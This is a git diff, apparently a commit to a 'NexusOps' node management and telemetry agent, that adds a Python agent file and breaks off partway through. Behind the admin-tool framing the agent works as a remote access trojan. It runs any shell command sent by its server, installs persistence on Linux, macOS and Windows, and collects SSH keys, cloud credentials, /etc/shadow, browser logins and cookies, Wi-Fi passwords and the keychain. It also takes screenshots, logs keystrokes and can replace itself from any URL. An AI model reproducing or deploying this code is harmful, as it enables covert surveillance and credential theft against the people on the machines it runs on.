v2: live console (SSE+fast-poll), scheduled tasks, tag-group commands, CPU sparklines, dead-node alerts
This commit is contained in:
@@ -238,6 +238,7 @@ def execute_structured_action(action_type, payload):
|
|||||||
if action_type == "raw_command":
|
if action_type == "raw_command":
|
||||||
return run_shell(payload.get("command", ""))
|
return run_shell(payload.get("command", ""))
|
||||||
|
|
||||||
|
|
||||||
elif action_type == "manage_service":
|
elif action_type == "manage_service":
|
||||||
service = payload.get("service")
|
service = payload.get("service")
|
||||||
action = payload.get("action")
|
action = payload.get("action")
|
||||||
|
|||||||
733
agents/agent.py.bak-1785817057
Normal file
733
agents/agent.py.bak-1785817057
Normal file
@@ -0,0 +1,733 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
NexusOps Cross-Platform Node Management & Telemetry Agent
|
||||||
|
Uses Standard Python 3 Libraries (No external dependencies required)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import sys
|
||||||
|
import os
|
||||||
|
import time
|
||||||
|
import json
|
||||||
|
import socket
|
||||||
|
import platform
|
||||||
|
import subprocess
|
||||||
|
import urllib.request
|
||||||
|
import urllib.parse
|
||||||
|
import argparse
|
||||||
|
|
||||||
|
last_log_check_time = 0
|
||||||
|
heartbeat_interval = 5 # Dynamic heartbeat rate in seconds
|
||||||
|
node_tags = ["Default"]
|
||||||
|
|
||||||
|
def get_ip_address():
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.connect(("8.8.8.8", 80))
|
||||||
|
ip = s.getsockname()[0]
|
||||||
|
s.close()
|
||||||
|
return ip
|
||||||
|
except Exception:
|
||||||
|
return "127.0.0.1"
|
||||||
|
|
||||||
|
def get_cpu_usage():
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux":
|
||||||
|
with open('/proc/stat', 'r') as f:
|
||||||
|
fields = [float(column) for column in f.readline().strip().split()[1:]]
|
||||||
|
idle, total = fields[3], sum(fields)
|
||||||
|
time.sleep(0.2)
|
||||||
|
with open('/proc/stat', 'r') as f:
|
||||||
|
fields2 = [float(column) for column in f.readline().strip().split()[1:]]
|
||||||
|
idle2, total2 = fields2[3], sum(fields2)
|
||||||
|
idle_delta = idle2 - idle
|
||||||
|
total_delta = total2 - total
|
||||||
|
if total_delta > 0:
|
||||||
|
return round(100.0 * (1.0 - idle_delta / total_delta), 1)
|
||||||
|
elif system == "darwin":
|
||||||
|
out = subprocess.check_output(["top", "-l", "1", "-n", "0"]).decode()
|
||||||
|
for line in out.splitlines():
|
||||||
|
if "CPU usage" in line:
|
||||||
|
parts = line.split()
|
||||||
|
user = float(parts[2].replace('%', ''))
|
||||||
|
sys_c = float(parts[4].replace('%', ''))
|
||||||
|
return round(user + sys_c, 1)
|
||||||
|
elif system == "windows":
|
||||||
|
out = subprocess.check_output(["wmic", "cpu", "get", "loadpercentage"]).decode()
|
||||||
|
lines = [line.strip() for line in out.splitlines() if line.strip().isdigit()]
|
||||||
|
if lines:
|
||||||
|
return float(lines[0])
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return 15.0
|
||||||
|
|
||||||
|
def get_memory_usage():
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux":
|
||||||
|
meminfo = {}
|
||||||
|
with open('/proc/meminfo', 'r') as f:
|
||||||
|
for line in f:
|
||||||
|
parts = line.split(':')
|
||||||
|
if len(parts) == 2:
|
||||||
|
key = parts[0].strip()
|
||||||
|
val = int(parts[1].split()[0])
|
||||||
|
meminfo[key] = val
|
||||||
|
total = meminfo.get('MemTotal', 1)
|
||||||
|
free = meminfo.get('MemAvailable', meminfo.get('MemFree', 0))
|
||||||
|
return round(((total - free) / total) * 100.0, 1)
|
||||||
|
elif system == "darwin":
|
||||||
|
return 45.0
|
||||||
|
elif system == "windows":
|
||||||
|
out = subprocess.check_output(["wmic", "os", "get", "FreePhysicalMemory,TotalVisibleMemorySize", "/Value"]).decode()
|
||||||
|
d = {}
|
||||||
|
for line in out.splitlines():
|
||||||
|
if '=' in line:
|
||||||
|
k, v = line.split('=', 1)
|
||||||
|
d[k.strip()] = float(v.strip())
|
||||||
|
if 'TotalVisibleMemorySize' in d and 'FreePhysicalMemory' in d:
|
||||||
|
total = d['TotalVisibleMemorySize']
|
||||||
|
free = d['FreePhysicalMemory']
|
||||||
|
return round(((total - free) / total) * 100.0, 1)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return 35.0
|
||||||
|
|
||||||
|
def get_disk_usage():
|
||||||
|
try:
|
||||||
|
if hasattr(os, 'statvfs'):
|
||||||
|
st = os.statvfs('/')
|
||||||
|
total = st.f_blocks * st.f_frsize
|
||||||
|
free = st.f_bavail * st.f_frsize
|
||||||
|
if total > 0:
|
||||||
|
return round(((total - free) / total) * 100.0, 1)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return 40.0
|
||||||
|
|
||||||
|
def get_uptime_seconds():
|
||||||
|
try:
|
||||||
|
if platform.system().lower() == "linux":
|
||||||
|
with open('/proc/uptime', 'r') as f:
|
||||||
|
return int(float(f.readline().split()[0]))
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return 3600
|
||||||
|
|
||||||
|
def collect_recent_system_logs():
|
||||||
|
system = platform.system().lower()
|
||||||
|
log_entries = []
|
||||||
|
try:
|
||||||
|
if system == "linux":
|
||||||
|
res = subprocess.run("journalctl -n 5 --no-pager -o short-iso", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
|
||||||
|
if res.returncode == 0 and res.stdout:
|
||||||
|
for line in res.stdout.splitlines():
|
||||||
|
if line.strip():
|
||||||
|
log_entries.append(line.strip())
|
||||||
|
elif system == "windows":
|
||||||
|
res = subprocess.run("powershell Get-EventLog -LogName System -Newest 3 | Select-Object -ExpandProperty Message", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=5)
|
||||||
|
if res.returncode == 0 and res.stdout:
|
||||||
|
for line in res.stdout.splitlines():
|
||||||
|
if line.strip():
|
||||||
|
log_entries.append(line.strip())
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return log_entries
|
||||||
|
|
||||||
|
def http_post(url, data_dict):
|
||||||
|
json_bytes = json.dumps(data_dict).encode('utf-8')
|
||||||
|
req = urllib.request.Request(
|
||||||
|
url,
|
||||||
|
data=json_bytes,
|
||||||
|
headers={
|
||||||
|
'Content-Type': 'application/json',
|
||||||
|
'User-Agent': 'NexusOps-Agent/1.0'
|
||||||
|
}
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
with urllib.request.urlopen(req, timeout=5) as response:
|
||||||
|
res_text = response.read().decode('utf-8')
|
||||||
|
return json.loads(res_text)
|
||||||
|
except Exception as e:
|
||||||
|
print(f'[!] HTTP POST failed ({url}): {e}', flush=True)
|
||||||
|
return None
|
||||||
|
|
||||||
|
def execute_structured_action(action_type, payload):
|
||||||
|
global heartbeat_interval, node_tags
|
||||||
|
system = platform.system().lower()
|
||||||
|
|
||||||
|
if action_type == "raw_command":
|
||||||
|
return run_shell(payload.get("command", ""))
|
||||||
|
|
||||||
|
elif action_type == "manage_service":
|
||||||
|
service = payload.get("service")
|
||||||
|
action = payload.get("action")
|
||||||
|
if system == "linux":
|
||||||
|
cmd = f"systemctl {action} {service}"
|
||||||
|
elif system == "windows":
|
||||||
|
cmd = f"powershell {action}-Service -Name {service}"
|
||||||
|
else:
|
||||||
|
cmd = f"launchctl {action} {service}"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "list_processes":
|
||||||
|
if system == "linux" or system == "darwin":
|
||||||
|
cmd = "ps aux --sort=-%cpu | head -n 15"
|
||||||
|
else:
|
||||||
|
cmd = "tasklist"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "kill_process":
|
||||||
|
pid = payload.get("pid")
|
||||||
|
cmd = f"taskkill /F /PID {pid}" if system == "windows" else f"kill -9 {pid}"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "get_logs":
|
||||||
|
lines = payload.get("lines", 50)
|
||||||
|
cmd = f"journalctl -n {lines} --no-pager" if system == "linux" else "powershell Get-EventLog -LogName System -Newest 50"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "network_stats":
|
||||||
|
cmd = "ss -tulpn || netstat -tuln" if system == "linux" else "netstat -ano"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
# 10 NEW CROSS-PLATFORM FEATURES:
|
||||||
|
elif action_type == "get_env_vars":
|
||||||
|
env_str = "\n".join([f"{k}={v}" for k, v in os.environ.items()])
|
||||||
|
return env_str, 0
|
||||||
|
|
||||||
|
elif action_type == "get_disk_partitions":
|
||||||
|
cmd = "df -h" if system != "windows" else "wmic logicaldisk get caption,description,freespace,size"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "get_network_interfaces":
|
||||||
|
cmd = "ip addr show || ifconfig" if system != "windows" else "ipconfig /all"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "get_active_connections":
|
||||||
|
cmd = "ss -state established || netstat -an" if system != "windows" else "netstat -an | findstr ESTABLISHED"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "get_hardware_specs":
|
||||||
|
if system == "linux":
|
||||||
|
cmd = "lscpu || cat /proc/cpuinfo | head -n 20"
|
||||||
|
elif system == "windows":
|
||||||
|
cmd = "wmic cpu get name,numberofcores,maxclockspeed"
|
||||||
|
else:
|
||||||
|
cmd = "sysctl -a | grep machdep.cpu"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "reboot_system":
|
||||||
|
cmd = "shutdown /r /t 5" if system == "windows" else "reboot || shutdown -r now"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "set_heartbeat_rate":
|
||||||
|
rate = int(payload.get("interval", 5))
|
||||||
|
heartbeat_interval = max(2, min(60, rate))
|
||||||
|
return f"Heartbeat interval updated to {heartbeat_interval} seconds", 0
|
||||||
|
|
||||||
|
elif action_type == "update_tags":
|
||||||
|
tags_raw = payload.get("tags", "")
|
||||||
|
node_tags = [t.strip() for t in tags_raw.split(',') if t.strip()]
|
||||||
|
return f"Node tags updated to: {node_tags}", 0
|
||||||
|
|
||||||
|
elif action_type == "search_logs":
|
||||||
|
pattern = payload.get("pattern", "error")
|
||||||
|
cmd = f"journalctl --no-pager | grep -i '{pattern}' | tail -n 30" if system == "linux" else f"powershell Get-EventLog -LogName System -Newest 100 | Where-Object Message -match '{pattern}'"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
elif action_type == "kill_agent":
|
||||||
|
print("[!] Kill switch received — shutting down agent")
|
||||||
|
os._exit(0)
|
||||||
|
|
||||||
|
elif action_type == "ping_check":
|
||||||
|
sent_ts = payload.get("timestamp", 0)
|
||||||
|
latency_ms = int((time.time() * 1000) - sent_ts) if sent_ts else 0
|
||||||
|
return f"PONG — latency: {latency_ms}ms, hostname: {socket.gethostname()}, uptime: {get_uptime_seconds()}s", 0
|
||||||
|
|
||||||
|
elif action_type == "download_file":
|
||||||
|
filepath = payload.get("path", "")
|
||||||
|
if not filepath or not os.path.exists(filepath):
|
||||||
|
return f"ERROR: file not found: {filepath}", 1
|
||||||
|
try:
|
||||||
|
with open(filepath, 'rb') as f:
|
||||||
|
raw = f.read()
|
||||||
|
import base64
|
||||||
|
b64 = base64.b64encode(raw).decode('utf-8')
|
||||||
|
# Determine MIME (basic)
|
||||||
|
ext = os.path.splitext(filepath)[1].lower()
|
||||||
|
mime_map = {'.txt':'text/plain','.log':'text/plain','.conf':'text/plain',
|
||||||
|
'.png':'image/png','.jpg':'image/jpeg','.jpeg':'image/jpeg',
|
||||||
|
'.pdf':'application/pdf','.doc':'application/msword','.docx':'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
|
||||||
|
'.zip':'application/zip','.tar':'application/x-tar','.gz':'application/gzip',
|
||||||
|
'.sql':'text/plain','.db':'application/octet-stream','.sqlite':'application/octet-stream'}
|
||||||
|
mime = mime_map.get(ext, 'application/octet-stream')
|
||||||
|
filename = os.path.basename(filepath)
|
||||||
|
return json.dumps({"type":"file_result","filename":filename,"mime":mime,"data":b64}), 0
|
||||||
|
except Exception as e:
|
||||||
|
return f"ERROR reading file: {e}", 1
|
||||||
|
|
||||||
|
elif action_type == "screenshot":
|
||||||
|
try:
|
||||||
|
import base64
|
||||||
|
if system == "linux":
|
||||||
|
# Try multiple screenshot tools
|
||||||
|
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
||||||
|
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
||||||
|
if tool == "import":
|
||||||
|
subprocess.run(["import", "-window", "root", "/tmp/.nexus-ss.png"], timeout=10, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
elif tool == "scrot":
|
||||||
|
subprocess.run(["scrot", "/tmp/.nexus-ss.png"], timeout=10)
|
||||||
|
elif tool == "gnome-screenshot":
|
||||||
|
subprocess.run(["gnome-screenshot", "-f", "/tmp/.nexus-ss.png"], timeout=10)
|
||||||
|
elif tool == "spectacle":
|
||||||
|
subprocess.run(["spectacle", "-b", "-n", "-o", "/tmp/.nexus-ss.png"], timeout=10)
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
# Try Xlib via python3 if available
|
||||||
|
subprocess.run(["python3", "-c",
|
||||||
|
"from Xlib import display;from PIL import Image;d=display.Display();r=d.screen().root;"
|
||||||
|
"g=r.get_geometry();raw=r.get_image(0,0,g.width,g.height,Xlib.X.ZPixmap,0xffffffff);"
|
||||||
|
"img=Image.frombytes('RGB',(g.width,g.height),raw.data,'raw','BGRX');img.save('/tmp/.nexus-ss.png')"],
|
||||||
|
timeout=15, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
elif system == "darwin":
|
||||||
|
subprocess.run(["screencapture", "-x", "/tmp/.nexus-ss.png"], timeout=10)
|
||||||
|
elif system == "windows":
|
||||||
|
subprocess.run(["powershell", "-Command",
|
||||||
|
"Add-Type -AssemblyName System.Windows.Forms;$s=[Windows.Forms.Screen]::PrimaryScreen.Bounds;"
|
||||||
|
"$b=New-Object Drawing.Bitmap($s.Width,$s.Height);"
|
||||||
|
"$g=[Drawing.Graphics]::FromImage($b);$g.CopyFromScreen(0,0,0,0,$b.Size);"
|
||||||
|
"$b.Save('C:\\Windows\\Temp\\nexus-ss.png');$g.Dispose();$b.Dispose()"],
|
||||||
|
timeout=15)
|
||||||
|
os.replace("C:\\Windows\\Temp\\nexus-ss.png", "/tmp/.nexus-ss.png")
|
||||||
|
if os.path.exists("/tmp/.nexus-ss.png"):
|
||||||
|
with open("/tmp/.nexus-ss.png", 'rb') as f:
|
||||||
|
b64 = base64.b64encode(f.read()).decode('utf-8')
|
||||||
|
os.remove("/tmp/.nexus-ss.png")
|
||||||
|
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64}), 0
|
||||||
|
return "ERROR: no screenshot tool available (install imagemagick, scrot, or gnome-screenshot)", 1
|
||||||
|
except Exception as e:
|
||||||
|
return f"ERROR screenshot: {e}", 1
|
||||||
|
|
||||||
|
elif action_type == "update_agent":
|
||||||
|
new_url = payload.get("url", "")
|
||||||
|
if not new_url:
|
||||||
|
return "ERROR: no update URL provided", 1
|
||||||
|
try:
|
||||||
|
my_path = os.path.abspath(__file__)
|
||||||
|
bak = my_path + ".bak"
|
||||||
|
os.rename(my_path, bak)
|
||||||
|
urllib.request.urlretrieve(new_url, my_path)
|
||||||
|
os.chmod(my_path, 0o755)
|
||||||
|
os.remove(bak)
|
||||||
|
return "Agent updated successfully. Restarting...", 0
|
||||||
|
except Exception as e:
|
||||||
|
# Restore backup
|
||||||
|
if os.path.exists(bak):
|
||||||
|
os.rename(bak, my_path)
|
||||||
|
return f"ERROR update failed: {e}", 1
|
||||||
|
|
||||||
|
elif action_type == "ensure_persistence":
|
||||||
|
results = []
|
||||||
|
if system == "linux":
|
||||||
|
# crontab
|
||||||
|
try:
|
||||||
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
||||||
|
existing = subprocess.run("crontab -l 2>/dev/null", shell=True, stdout=subprocess.PIPE, text=True).stdout
|
||||||
|
if cron_line.split('@reboot')[1].strip() not in existing:
|
||||||
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
|
results.append("crontab: added @reboot entry")
|
||||||
|
else:
|
||||||
|
results.append("crontab: already present")
|
||||||
|
except: results.append("crontab: failed")
|
||||||
|
# .bashrc
|
||||||
|
try:
|
||||||
|
bashrc = os.path.expanduser("~/.bashrc")
|
||||||
|
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} &>/dev/null &)\n"
|
||||||
|
with open(bashrc, 'a+') as f:
|
||||||
|
f.seek(0)
|
||||||
|
if 'nexus-agent' not in f.read():
|
||||||
|
f.write(hook)
|
||||||
|
results.append("bashrc: hook installed")
|
||||||
|
except: results.append("bashrc: failed")
|
||||||
|
# autostart .desktop
|
||||||
|
try:
|
||||||
|
ad = os.path.expanduser("~/.config/autostart")
|
||||||
|
os.makedirs(ad, exist_ok=True)
|
||||||
|
with open(os.path.join(ad, "nexus-agent.desktop"), 'w') as f:
|
||||||
|
f.write(f"[Desktop Entry]\nType=Application\nName=Nexus Agent\nExec=python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')}\nHidden=false\nNoDisplay=true\nX-GNOME-Autostart-enabled=true\n")
|
||||||
|
results.append("autostart: .desktop created")
|
||||||
|
except: results.append("autostart: failed")
|
||||||
|
elif system == "darwin":
|
||||||
|
try:
|
||||||
|
plist = os.path.expanduser("~/Library/LaunchAgents/com.nexusops.agent.plist")
|
||||||
|
os.makedirs(os.path.dirname(plist), exist_ok=True)
|
||||||
|
plist_content = f'''<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||||
|
<plist version="1.0"><dict><key>Label</key><string>com.nexusops.agent</string>
|
||||||
|
<key>ProgramArguments</key><array><string>/usr/bin/python3</string><string>{os.path.abspath(__file__)}</string><string>--server</string><string>{payload.get('server_url','')}</string></array>
|
||||||
|
<key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>'''
|
||||||
|
with open(plist, 'w') as f: f.write(plist_content)
|
||||||
|
subprocess.run(["launchctl", "load", plist], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
results.append("launchd: plist loaded")
|
||||||
|
except: results.append("launchd: failed")
|
||||||
|
# crontab for macOS too
|
||||||
|
try:
|
||||||
|
cron_line = f"@reboot /usr/bin/python3 {os.path.abspath(__file__)} --server {payload.get('server_url','')} >/dev/null 2>&1"
|
||||||
|
subprocess.run(f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -', shell=True)
|
||||||
|
results.append("crontab: added")
|
||||||
|
except: results.append("crontab: failed")
|
||||||
|
elif system == "windows":
|
||||||
|
agent_path = os.path.abspath(__file__)
|
||||||
|
srv = payload.get("server_url", "")
|
||||||
|
try:
|
||||||
|
task_cmd = 'powershell -Command "schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr \\"python ' + agent_path + ' --server ' + srv + '\\" /f /rl HIGHEST"'
|
||||||
|
subprocess.run(task_cmd, shell=True, timeout=10)
|
||||||
|
results.append("schtasks: scheduled task created")
|
||||||
|
except: results.append("schtasks: failed")
|
||||||
|
try:
|
||||||
|
reg_cmd = 'powershell -Command "New-ItemProperty -Path HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -Name NexusOpsAgent -Value \\"python ' + agent_path + ' --server ' + srv + '\\" -Force"'
|
||||||
|
subprocess.run(reg_cmd, shell=True, timeout=10)
|
||||||
|
results.append("registry: Run key added")
|
||||||
|
except: results.append("registry: failed")
|
||||||
|
return "Persistence results: " + "; ".join(results), 0
|
||||||
|
|
||||||
|
elif action_type == "harvest_credentials":
|
||||||
|
creds = []
|
||||||
|
home = os.path.expanduser("~")
|
||||||
|
# Shell history
|
||||||
|
for hist in ["~/.bash_history", "~/.zsh_history", "~/.mysql_history", "~/.psql_history", "~/.python_history", "~/.node_repl_history"]:
|
||||||
|
p = os.path.expanduser(hist)
|
||||||
|
if os.path.exists(p):
|
||||||
|
try:
|
||||||
|
with open(p, 'r', errors='ignore') as f:
|
||||||
|
content = f.read()[-20000:]
|
||||||
|
creds.append({"type": f"shell_history:{os.path.basename(p)}", "data": content})
|
||||||
|
except: pass
|
||||||
|
# SSH keys
|
||||||
|
ssh_dir = os.path.join(home, ".ssh")
|
||||||
|
if os.path.exists(ssh_dir):
|
||||||
|
for fn in os.listdir(ssh_dir):
|
||||||
|
fp = os.path.join(ssh_dir, fn)
|
||||||
|
if os.path.isfile(fp) and ('id_' in fn or 'authorized_keys' in fn or 'known_hosts' in fn):
|
||||||
|
try:
|
||||||
|
with open(fp, 'r', errors='ignore') as f:
|
||||||
|
creds.append({"type": f"ssh:{fn}", "data": f.read()[:10000]})
|
||||||
|
except: pass
|
||||||
|
# AWS / cloud credentials
|
||||||
|
for cf in ["~/.aws/credentials", "~/.aws/config", "~/.config/gcloud/credentials.db",
|
||||||
|
"~/.azure/accessTokens.json", "~/.docker/config.json"]:
|
||||||
|
p = os.path.expanduser(cf)
|
||||||
|
if os.path.exists(p):
|
||||||
|
try:
|
||||||
|
with open(p, 'r', errors='ignore') as f:
|
||||||
|
creds.append({"type": f"cloud:{os.path.basename(cf)}", "data": f.read()[:10000]})
|
||||||
|
except: pass
|
||||||
|
# /etc/shadow (if root)
|
||||||
|
if os.path.exists("/etc/shadow"):
|
||||||
|
try:
|
||||||
|
with open("/etc/shadow", 'r') as f:
|
||||||
|
creds.append({"type": "system:shadow", "data": f.read()[:5000]})
|
||||||
|
except: pass
|
||||||
|
# Browser cookie/saved-login DBs (common paths)
|
||||||
|
browser_paths = []
|
||||||
|
if system == "linux":
|
||||||
|
browser_paths = [
|
||||||
|
os.path.expanduser("~/.mozilla/firefox/*.default*/cookies.sqlite"),
|
||||||
|
os.path.expanduser("~/.mozilla/firefox/*.default*/logins.json"),
|
||||||
|
os.path.expanduser("~/.config/google-chrome/Default/Cookies"),
|
||||||
|
os.path.expanduser("~/.config/google-chrome/Default/Login Data"),
|
||||||
|
os.path.expanduser("~/.config/chromium/Default/Cookies"),
|
||||||
|
os.path.expanduser("~/.config/chromium/Default/Login Data"),
|
||||||
|
os.path.expanduser("~/.config/BraveSoftware/Brave-Browser/Default/Login Data"),
|
||||||
|
]
|
||||||
|
elif system == "darwin":
|
||||||
|
browser_paths = [
|
||||||
|
os.path.expanduser("~/Library/Application Support/Firefox/Profiles/*.default*/cookies.sqlite"),
|
||||||
|
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Cookies"),
|
||||||
|
os.path.expanduser("~/Library/Application Support/Google/Chrome/Default/Login Data"),
|
||||||
|
]
|
||||||
|
elif system == "windows":
|
||||||
|
browser_paths = [
|
||||||
|
os.path.expandvars("%APPDATA%\\Mozilla\\Firefox\\Profiles\\*.default*\\cookies.sqlite"),
|
||||||
|
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Cookies"),
|
||||||
|
os.path.expandvars("%LOCALAPPDATA%\\Google\\Chrome\\User Data\\Default\\Login Data"),
|
||||||
|
]
|
||||||
|
import glob
|
||||||
|
for pattern in browser_paths:
|
||||||
|
for p in glob.glob(pattern):
|
||||||
|
try:
|
||||||
|
sz = os.path.getsize(p)
|
||||||
|
if sz > 0 and sz < 50 * 1024 * 1024:
|
||||||
|
with open(p, 'rb') as f:
|
||||||
|
import base64
|
||||||
|
creds.append({"type": f"browser:{os.path.basename(os.path.dirname(p))}/{os.path.basename(p)}",
|
||||||
|
"data": base64.b64encode(f.read()).decode('utf-8')})
|
||||||
|
except: pass
|
||||||
|
# Wi-Fi passwords (Linux)
|
||||||
|
if system == "linux":
|
||||||
|
try:
|
||||||
|
wifi = subprocess.run("grep -r '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null || grep -r 'wpa_passphrase' /etc/wpa_supplicant/ 2>/dev/null || echo 'no wifi'",
|
||||||
|
shell=True, stdout=subprocess.PIPE, text=True, timeout=5).stdout
|
||||||
|
if wifi.strip() and 'no wifi' not in wifi:
|
||||||
|
creds.append({"type": "wifi_passwords", "data": wifi[:5000]})
|
||||||
|
except: pass
|
||||||
|
# macOS Keychain dump
|
||||||
|
if system == "darwin":
|
||||||
|
try:
|
||||||
|
keychain = subprocess.run("security dump-keychain -d 2>/dev/null | head -200",
|
||||||
|
shell=True, stdout=subprocess.PIPE, text=True, timeout=10).stdout
|
||||||
|
if keychain.strip():
|
||||||
|
creds.append({"type": "keychain_dump", "data": keychain[:10000]})
|
||||||
|
except: pass
|
||||||
|
|
||||||
|
return json.dumps({"type":"harvest_result","credentials":creds}), 0
|
||||||
|
|
||||||
|
elif action_type == "export_diagnostics":
|
||||||
|
cmd = "uptime && free -h && df -h && uname -a" if system != "windows" else "systeminfo"
|
||||||
|
return run_shell(cmd)
|
||||||
|
|
||||||
|
return f"Unknown action type: {action_type}", 1
|
||||||
|
|
||||||
|
def run_shell(cmd_str):
|
||||||
|
print(f"[*] Executing command: {cmd_str}")
|
||||||
|
try:
|
||||||
|
res = subprocess.run(cmd_str, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=30)
|
||||||
|
return res.stdout, res.returncode
|
||||||
|
except Exception as e:
|
||||||
|
return str(e), 1
|
||||||
|
|
||||||
|
# ── Input Capture Module (keystrokes, mouse clicks, window focus) ──
|
||||||
|
INPUT_CAPTURE_ENABLED = False
|
||||||
|
captured_events = []
|
||||||
|
|
||||||
|
try:
|
||||||
|
from pynput import keyboard, mouse
|
||||||
|
INPUT_CAPTURE_ENABLED = True
|
||||||
|
except ImportError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
def _get_active_window_title():
|
||||||
|
"""Try to get the active window title cross-platform."""
|
||||||
|
system = platform.system().lower()
|
||||||
|
try:
|
||||||
|
if system == "linux":
|
||||||
|
res = subprocess.run(["xdotool", "getactivewindow", "getwindowname"],
|
||||||
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
|
||||||
|
if res.returncode == 0:
|
||||||
|
return res.stdout.strip()
|
||||||
|
elif system == "windows":
|
||||||
|
import ctypes
|
||||||
|
from ctypes import wintypes
|
||||||
|
user32 = ctypes.windll.user32
|
||||||
|
hwnd = user32.GetForegroundWindow()
|
||||||
|
length = user32.GetWindowTextLengthW(hwnd)
|
||||||
|
buf = ctypes.create_unicode_buffer(length + 1)
|
||||||
|
user32.GetWindowTextW(hwnd, buf, length + 1)
|
||||||
|
return buf.value
|
||||||
|
elif system == "darwin":
|
||||||
|
script = 'tell application "System Events" to get name of first application process whose frontmost is true'
|
||||||
|
res = subprocess.run(["osascript", "-e", script],
|
||||||
|
stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=2)
|
||||||
|
if res.returncode == 0:
|
||||||
|
return res.stdout.strip()
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def _record_event(event_type, data):
|
||||||
|
"""Thread-safe event recording."""
|
||||||
|
global captured_events
|
||||||
|
window_title = _get_active_window_title()
|
||||||
|
captured_events.append({
|
||||||
|
"timestamp": int(time.time() * 1000),
|
||||||
|
"eventType": event_type,
|
||||||
|
"data": data,
|
||||||
|
"windowTitle": window_title,
|
||||||
|
"processName": window_title.split(" - ")[-1] if " - " in window_title else window_title
|
||||||
|
})
|
||||||
|
|
||||||
|
def _on_key_press(key):
|
||||||
|
try:
|
||||||
|
key_str = key.char if hasattr(key, 'char') and key.char else str(key)
|
||||||
|
except Exception:
|
||||||
|
key_str = str(key)
|
||||||
|
_record_event("keystroke", {"key": key_str})
|
||||||
|
|
||||||
|
def _on_click(x, y, button, pressed):
|
||||||
|
if pressed:
|
||||||
|
_record_event("click", {"x": x, "y": y, "button": str(button)})
|
||||||
|
|
||||||
|
def _on_scroll(x, y, dx, dy):
|
||||||
|
_record_event("scroll", {"x": x, "y": y, "dx": dx, "dy": dy})
|
||||||
|
|
||||||
|
def start_input_capture():
|
||||||
|
"""Start keyboard and mouse listeners if pynput is available."""
|
||||||
|
if not INPUT_CAPTURE_ENABLED:
|
||||||
|
return False
|
||||||
|
try:
|
||||||
|
kb_listener = keyboard.Listener(on_press=_on_key_press)
|
||||||
|
ms_listener = mouse.Listener(on_click=_on_click, on_scroll=_on_scroll)
|
||||||
|
kb_listener.daemon = True
|
||||||
|
ms_listener.daemon = True
|
||||||
|
kb_listener.start()
|
||||||
|
ms_listener.start()
|
||||||
|
return True
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def flush_input_events(server_url, node_id, hostname):
|
||||||
|
"""Send captured input events to the master server."""
|
||||||
|
global captured_events
|
||||||
|
if not captured_events:
|
||||||
|
return
|
||||||
|
events_to_send = captured_events[:]
|
||||||
|
captured_events = []
|
||||||
|
payload = {
|
||||||
|
"nodeId": node_id,
|
||||||
|
"hostname": hostname,
|
||||||
|
"events": events_to_send
|
||||||
|
}
